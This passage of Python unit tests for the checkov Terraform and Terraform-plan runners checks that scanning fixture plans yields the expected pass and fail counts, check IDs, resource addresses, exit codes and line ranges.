os.path.dirname(os.path.realpath(__file__))\n        root_dir = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(\n            root_folder=root_dir, files=None, external_checks_dir=None, runner_filter=RunnerFilter(framework=[\"all\"])\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        self.assertGreaterEqual(report.get_summary()[\"failed\"], 71)\n        self.assertGreaterEqual(report.get_summary()[\"passed\"], 65)\n\n        files_scanned = list(set(map(lambda rec: rec.file_path, report.failed_checks)))\n        self.assertGreaterEqual(len(files_scanned), 6)\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        root_dir = current_dir + \"/resources\"\n        runner = Runner()\n        filter = RunnerFilter(framework=['terraform_plan'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.TERRAFORM_PLAN: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=root_dir, files=None, external_checks_dir=None, runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n\n    def test_record_relative_path_with_relative_dir(self):\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\", \"plan\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner()\n        checks_allowlist = [\"CKV_AWS_6\"]\n        report = runner.run(\n            root_folder=dir_rel_path,\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist),\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        for record in all_checks:\n            self.assertEqual(record.repo_file_path, f'/{os.path.join(dir_rel_path, record.file_path.lstrip(\"/\"))}')\n\n    def test_record_relative_path_with_relative_file(self):\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"plan\", \"tfplan.json\")\n\n        # this is the relative path to the file to scan (what would actually get passed to the -f arg)\n        file_rel_path = os.path.relpath(scan_file_path)\n\n        runner = Runner()\n        checks_allowlist = [\"CKV_AWS_20\"]\n        report = runner.run(\n            root_folder=None,\n            external_checks_dir=None,\n            files=[file_rel_path],\n            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist),\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        for record in all_checks:\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_runner_unexpected_eks_node_group_remote_access(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/unexpected/eks_node_group_remote_access.json\"\n        runner = Runner()\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"all\"]),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        self.assertEqual(report.get_summary()[\"failed\"], 0)\n        self.assertEqual(report.get_summary()[\"passed\"], 1)\n\n    def test_runner_with_resource_reference(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_with_resource_reference/tfplan.json\"\n        allowed_checks = [\"CKV_AWS_84\"]\n\n        report = Runner().run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"all\"], checks=allowed_checks),\n        )\n\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        self.assertEqual(report.get_summary()[\"failed\"], 0)\n        self.assertEqual(report.get_summary()[\"passed\"], 1)\n\n    def test_runner_with_resource_reference_graph_check(self):\n        # given\n        valid_plan_path = Path(__file__).parent / \"resources/plan_with_resource_reference/tfplan_graph.json\"\n        allowed_checks = [\"CKV2_AWS_6\"]\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(valid_plan_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=allowed_checks),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"failed\"], 0)\n        self.assertEqual(summary[\"passed\"], 1)\n\n    def test_runner_with_resource_reference_extra_ref(self):\n        # given\n        valid_plan_path = Path(__file__).parent / \"resources/plan_with_resource_reference/tfplan_extra_ref.json\"\n        extra_checks_dir_path = [str(Path(__file__).parent / \"extra_tf_plan_checks\")]\n        allowed_checks = [\"CUSTOM_CONNECTION_1\"]\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(valid_plan_path)],\n            external_checks_dir=extra_checks_dir_path,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=allowed_checks),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 4)\n\n    def test_runner_skip_graph_when_no_plan_exists(self):\n        # given\n        tf_file_path = Path(__file__).parent / \"resource/example/example.tf\"\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"]),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"failed\"], 0)\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 0)\n\n    def test_runner_utf_16_encoded(self):\n        # given\n        tf_file_path = Path(__file__).parent / \"resources/plan_with_utf_16_encoding/tfplan.json\"\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"]),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertGreater(summary[\"failed\"], 0)\n        self.assertGreater(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n    def test_runner_line_numbers(self):\n        # given\n        tf_file_path = Path(__file__).parent / \"resources/plan_with_resource_reference/tfplan.json\"\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"]),\n        )\n\n        # then\n        failed_check = report.failed_checks[0]\n        self.assertEqual(failed_check.file_line_range, [13, 19])\n\n    def test_runner_ignore_lifecycle_checks(self):\n        # given\n        tf_file_path = Path(__file__).parent / \"resources/plan_with_lifecycle_check/tfplan.json\"\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"]),\n        )\n\n        # then\n        self.assertEqual(len(report.failed_checks), 0)\n\n    def test_runner_extra_check(self):\n        # given\n        current_dir = Path(__file__).parent\n        tf_dir_path = str(current_dir / \"resources/plan_with_deleted_resources\")\n        extra_checks_dir_path = [str(current_dir / \"extra_tf_plan_checks\")]\n\n        # when\n        report = Runner().run(\n            root_folder=tf_dir_path,\n            external_checks_dir=extra_checks_dir_path,\n            runner_filter=RunnerFilter(checks=[\"CUSTOM_DELETE_1\", \"CUSTOM_DELETE_2\"])\n        )\n\n        # then\n        summary = report.get_summary()\n        self.assertEqual(summary[\"failed\"], 2)\n\n        resource_ids = [check.resource for check in report.failed_checks]\n        self.assertCountEqual(resource_ids,[\"aws_secretsmanager_secret.default\", \"aws_secretsmanager_secret.default\"])\n\n        # check also the details\n        failed_check = next(check for check in report.failed_checks if check.check_id == \"CUSTOM_DELETE_1\")\n        self.assertEqual(failed_check.details, [\"some great details\"])\n\n    def test_runner_nested_child_modules_with_connections(self):\n        # given\n        tf_file_path = Path(__file__).parent / \"resources/plan_nested_child_modules_with_connections/tfplan.json\"\n\n        passing_resources = {\n            \"module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket\",\n            \"module.s3_module.aws_s3_bucket.module_bucket\",\n            \"aws_s3_bucket.root_bucket\",\n        }\n        failing_resources = {\n            \"module.s3_bucket.aws_s3_bucket.this[0]\",\n        }\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV2_AWS_6\"]),\n        )\n\n        # then\n        self.assertEqual(len(report.passed_checks), 3)\n        self.assertEqual(len(report.failed_checks), 1)\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_runner_with_iam_policies(self):\n        # given\n        tf_file_path = Path(__file__).parent / \"resources/plan_with_iam_policies/tfplan.json\"\n\n        passing_resources = {\n            \"aws_iam_policy.policy_pass\",\n        }\n        failing_resources = {\n            \"aws_iam_role_policy.fail_1\",\n            \"aws_iam_group_policy.fail_2\",\n            \"aws_iam_user_policy.fail_3\",\n        }\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV2_AWS_40\", \"CKV_AWS_287\"]),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"passed\"], 2)  # \"aws_iam_policy.policy_pass\" passes both checks\n        self.assertEqual(summary[\"failed\"], 6)  # the rest fails both checks\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_runner_with_iam_data_block(self):\n        # given\n        tf_file_path = Path(__file__).parent / \"resources/plan_with_iam_data_block/tfplan.json\"\n\n        failing_resources = {\n            \"data.aws_iam_policy_document.allow_access_from_another_account\",\n        }\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV_AWS_49\"]),\n        )\n\n        # then\n        summary = report.get_summary()\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 1)\n\n        failed_check_resources = {c.resource for c in report.failed_checks}\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    @mock.patch.dict(os.environ, {'CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES': 'True'})\n    def test_plan_and_tf_combine_graph(self):\n        tf_file_path = Path(__file__).parent / \"resources/plan_and_tf_combine_graph/tfplan.json\"\n\n        repo_path = Path(__file__).parent / \"resources/plan_and_tf_combine_graph\"\n\n        # deep_analysis disabled\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV2_AWS_6\"], deep_analysis=False,\n                                       repo_root_for_plan_enrichment=[repo_path])\n        )\n\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 2)\n\n        # deep_analysis enabled\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV2_AWS_6\"], deep_analysis=True, repo_root_for_plan_enrichment=[repo_path])\n        )\n\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(len(report.failed_checks), 0)\n\n        expected_addresses = ['aws_s3_bucket.example', 'aws_s3_bucket.example_2']\n        report_addresses = [report.passed_checks[0].resource_address, report.passed_checks[1].resource_address]\n        assert sorted(expected_addresses) == sorted(report_addresses)\n        assert report.passed_checks[0].file_path.endswith('.json')\n        assert report.passed_checks[1].file_path.endswith('.json')\n\n    @mock.patch.dict(os.environ, {'EVAL_TF_PLAN_AFTER_UNKNOWN': 'True'})\n    def test_plan_and_tf_combine_graph_with_missing_resources(self):\n        tf_file_path = Path(__file__).parent / \"resources/plan_and_tf_combine_graph_with_missing_resources/tfplan.json\"\n        repo_path = Path(__file__).parent / \"resources/plan_and_tf_combine_graph_with_missing_resources\"\n\n        # deep_analysis disabled\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV2_AWS_61\"], deep_analysis=False,\n                                       repo_root_for_plan_enrichment=[repo_path])\n        )\n\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 2)\n\n        # deep_analysis enabled\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_file_path)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV2_AWS_61\"], deep_analysis=True,\n                                       repo_root_for_plan_enrichment=[repo_path])\n        )\n\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 2)\n\n        expected_addresses = ['aws_s3_bucket.example', 'aws_s3_bucket.example_2']\n        report_addresses = [report.failed_checks[0].resource_address, report.failed_checks[1].resource_address]\n        assert sorted(expected_addresses) == sorted(report_addresses)\n\n    def test_plan_resources_ids(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_resources_ids_with_nested_modules/tfplan.json\"\n        valid_resources_ids = [\"module.child_0.module.child_1_c.aws_eks_cluster.cluster\",\n                               \"module.child_0.module.child_1_b.aws_eks_cluster.cluster\",\n                               \"module.child_0.module.child_1_a.aws_eks_cluster.cluster\"]\n        runner = Runner()\n        runner.graph_registry.checks = []\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=[current_dir + \"/extra_yaml_checks\"],\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"]),\n        )\n        self.assertGreater(report.get_summary()[\"failed\"] + report.get_summary()[\"passed\"], 0)\n\n        for check in itertools.chain(report.failed_checks, report.passed_checks):\n            self.assertIn(check.resource, valid_resources_ids)\n\n        self.assertEqual(len(report.resources), 3)\n\n    def test_plan_resources_created_by_modules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/extra_tf_plan_checks/modules.json\"\n        runner = Runner()\n        report = runner.run(\n            root_folder=None, external_checks_dir=None, files=[valid_plan_path],\n            runner_filter=RunnerFilter(checks=['CKV2_GCP_12', 'CKV_GCP_88'])\n        )\n        passed_checks_CKV2_GCP_12 = [check for check in report.passed_checks if check.check_id == 'CKV2_GCP_12']\n        passed_checks_CKV_GCP_88 = [check for check in report.passed_checks if check.check_id == 'CKV_GCP_88']\n\n        assert passed_checks_CKV2_GCP_12[0].resource == 'module.achia_test_valid_443.google_compute_firewall.custom[0]'\n        assert passed_checks_CKV2_GCP_12[1].resource == 'module.achia_test_valid_ports.google_compute_firewall.custom[0]'\n        assert passed_checks_CKV2_GCP_12[2].resource == 'module.achia_test_violating_no_ports.google_compute_firewall.custom[0]'\n        assert passed_checks_CKV2_GCP_12[3].resource == 'module.achia_test_violating_port.google_compute_firewall.custom[0]'\n\n        assert passed_checks_CKV_GCP_88[0].resource == 'module.achia_test_valid_443.google_compute_firewall.custom[0]'\n        assert passed_checks_CKV_GCP_88[1].resource == 'module.achia_test_valid_ports.google_compute_firewall.custom[0]'\n        assert passed_checks_CKV_GCP_88[2].resource == 'module.achia_test_violating_no_ports.google_compute_firewall.custom[0]'\n        assert passed_checks_CKV_GCP_88[3].resource == 'module.achia_test_violating_port.google_compute_firewall.custom[0]'\n\n    def test___get_file_path__with_tf_definition_key_uses_correct_file_path(self):\n        tf_definition = TFDefinitionKey(file_path='test')\n        file_path, scanned_file = Runner()._get_file_path(tf_definition, 'test')\n        assert file_path == 'test'\n        assert scanned_file == '/.'\n\n    def test_plan_change_keys(self):\n        # given\n        current_dir = Path(__file__).parent\n        tf_plan_path = current_dir / \"resources/plan_change_keys/tfplan.json\"\n        external_checks_dir = current_dir / \"extra_tf_plan_checks\"\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(tf_plan_path)],\n            external_checks_dir=[str(external_checks_dir)],\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CUSTOM_CHANGE_1\"]),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_security_group_rule.foo'\n        }\n        failing_resources = {\n            'aws_security_group_rule.bar',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 2)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_plan_with_providers(self):\n        \"\"\"\n        Ensure AWS providers are parsed correctly and the credentials check runs against\n        providers with aliases, too.\n        \"\"\"\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_with_providers/tfplan.json\"\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = [\"CKV_AWS_41\"]\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=checks_allowlist),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n\n        for record in report.failed_checks:\n            self.assertIn(record.check_id, checks_allowlist)\n        self.assertEqual(report.get_summary()[\"failed\"], 1)\n        self.assertEqual(report.get_summary()[\"passed\"], 2)\n\n    def tearDown(self) -> None:\n        resource_registry.checks = deepcopy(self.orig_checks)\n        BaseCheckRegistry._BaseCheckRegistry__all_registered_checks = deepcopy(self.orig_all_registered_checks)\n\n    def test_get_entity_id(self):\n        resource_type_dict = {'__address__': 'azure.storage_use_azuread', '__end_line__': [14], '__start_line__': [0],\n         'alias': ['storage_use_azuread'], 'end_line': [14], 'start_line': [0], 'storage_use_azuread': True}\n        resource_name = \"storage_use_azuread\"\n        assert get_entity_id(resource_type_dict, resource_name) == 'azure.storage_use_azuread'\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/runner/test_runner.py",
    "content": "from copy import deepcopy\nimport inspect\nimport os\nimport shutil\nimport unittest\nimport dis\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# do not remove; prevents circular import error\nfrom typing import Dict, Any\nfrom unittest import mock\nfrom networkx import DiGraph\nfrom parameterized import parameterized, parameterized_class\nfrom rustworkx import PyDiGraph\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\n\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckCategories, CheckResult, ParallelizationType\nfrom checkov.common.output.report import Report\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING, \\\n    TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.registry import resource_registry\nfrom checkov.terraform.checks.module.registry import module_registry\nfrom checkov.terraform.checks.provider.registry import provider_registry\nfrom checkov.terraform.checks.data.registry import data_registry\nfrom checkov.common.util.env_vars_config import env_vars_config\n\nCUSTOM_GRAPH_CHECK_ID = 'CKV2_CUSTOM_1'\nEXTERNAL_MODULES_DOWNLOAD_PATH = os.environ.get('EXTERNAL_MODULES_DIR', DEFAULT_EXTERNAL_MODULES_DIR)\n\n\n@parameterized_class([\n    {\"db_connector\": NetworkxConnector, \"tf_split_graph\": \"True\", \"graph\": \"NETWORKX\"},\n    {\"db_connector\": NetworkxConnector, \"tf_split_graph\": \"False\", \"graph\": \"NETWORKX\"},\n    {\"db_connector\": RustworkxConnector, \"tf_split_graph\": \"True\", \"graph\": \"RUSTWORKX\"},\n    {\"db_connector\": RustworkxConnector, \"tf_split_graph\": \"False\", \"graph\": \"RUSTWORKX\"},\n])\nclass TestRunnerValid(unittest.TestCase):\n    def setUp(self) -> None:\n        self.orig_checks = deepcopy(resource_registry.checks)\n        self.orig_wildcard_checks = deepcopy(resource_registry.wildcard_checks)\n        self.parallelization_type = parallel_runner.type\n        self.db_connector = self.db_connector\n        os.environ[\"CHECKOV_GRAPH_FRAMEWORK\"] = self.graph\n        os.environ[\"TF_SPLIT_GRAPH\"] = self.tf_split_graph\n\n    def tearDown(self):\n        parser_registry.context = {}\n        resource_registry.checks = self.orig_checks\n        resource_registry.wildcard_checks = self.orig_wildcard_checks\n        parallel_runner.type = self.parallelization_type\n        del os.environ[\"CHECKOV_GRAPH_FRAMEWORK\"]\n        del os.environ[\"TF_SPLIT_GRAPH\"]\n\n    def test_registry_has_type(self):\n        self.assertEqual(resource_registry.report_type, CheckType.TERRAFORM)\n        self.assertEqual(provider_registry.report_type, CheckType.TERRAFORM)\n        self.assertEqual(module_registry.report_type, CheckType.TERRAFORM)\n        self.assertEqual(data_registry.report_type, CheckType.TERRAFORM)\n\n    def test_runner_two_checks_only(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/example\"\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_41', 'CKV_AZURE_1']\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"all\"], checks=checks_allowlist))\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        for record in report.failed_checks:\n            self.assertIn(record.check_id, checks_allowlist)\n\n    def test_runner_denylist_checks(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/example\"\n        runner = Runner(db_connector=self.db_connector())\n        checks_denylist = ['CKV_AWS_41', 'CKV_AZURE_1']\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"all\"], skip_checks=checks_denylist))\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code(\n            {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [],\n             'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code(\n            {'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [],\n             'hard_fail_threshold': None}), 0)\n        for record in report.failed_checks:\n            self.assertNotIn(record.check_id, checks_denylist)\n\n    def test_runner_valid_tf(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/example\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None)\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code(\n            {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [],\n             'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code(\n            {'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [],\n             'hard_fail_threshold': None}), 0)\n        summary = report.get_summary()\n        self.assertGreaterEqual(summary['passed'], 1)\n        self.assertGreaterEqual(summary['failed'], 1)\n        self.assertEqual(summary[\"parsing_errors\"], 1)\n        report.print_json()\n        report.print_console()\n        report.print_console(is_quiet=True)\n        report.print_console(is_quiet=True, is_compact=True)\n        report.print_failed_github_md()\n\n    def test_py_graph_check(self):\n        if not self.db_connector == RustworkxConnector:\n            return\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/py_graph_check\"\n        valid_dir_path_for_external_check = current_dir + '/py_graph_check'\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_000']\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=[valid_dir_path_for_external_check],\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist))\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        assert len(report.failed_checks) == 2\n        assert len(report.passed_checks) == 2\n        failed_resources = [c.resource for c in report.failed_checks]\n        passed_resources = [c.resource for c in report.passed_checks]\n        assert 'aws_db_instance.storage_encrypted_enabled' in passed_resources\n        assert 'aws_db_instance.default_connected_to_provider_with_fips' in passed_resources\n        assert 'aws_db_instance.default' in failed_resources\n        assert 'aws_db_instance.disabled' in failed_resources\n\n    def test_for_each_check(self):\n        if not self.db_connector == RustworkxConnector:\n            return\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/for_each\"\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_186', 'CKV_AWS_88']\n        report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist))\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        assert len(report.failed_checks) == 2\n        assert len(report.skipped_checks) == 2\n        assert len(report.passed_checks) == 0\n        failed_resources = [c.resource for c in report.failed_checks]\n        assert 'module.simple[0].aws_s3_bucket_object.this_file' in failed_resources\n        assert 'module.simple[1].aws_s3_bucket_object.this_file' in failed_resources\n\n    def test_runner_passing_valid_tf(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        passing_tf_dir_path = current_dir + \"/resources/valid_tf_only_passed_checks\"\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=passing_tf_dir_path, external_checks_dir=None)\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code(\n            {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [],\n             'hard_fail_threshold': None}), 1)\n        summary = report.get_summary()\n        self.assertGreaterEqual(summary['passed'], 1)\n        self.assertEqual(10, summary['failed'])\n        self.assertEqual(1, summary['skipped'])\n        self.assertEqual(0, summary[\"parsing_errors\"])\n\n    def test_runner_passing_multi_line_ternary_tf(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        tf_dir_path = current_dir + \"/resources/mutli_line_ternary\"\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=tf_dir_path, external_checks_dir=None)\n        self.assertListEqual(report.parsing_errors, [])\n\n    def test_runner_extra_check(self):\n        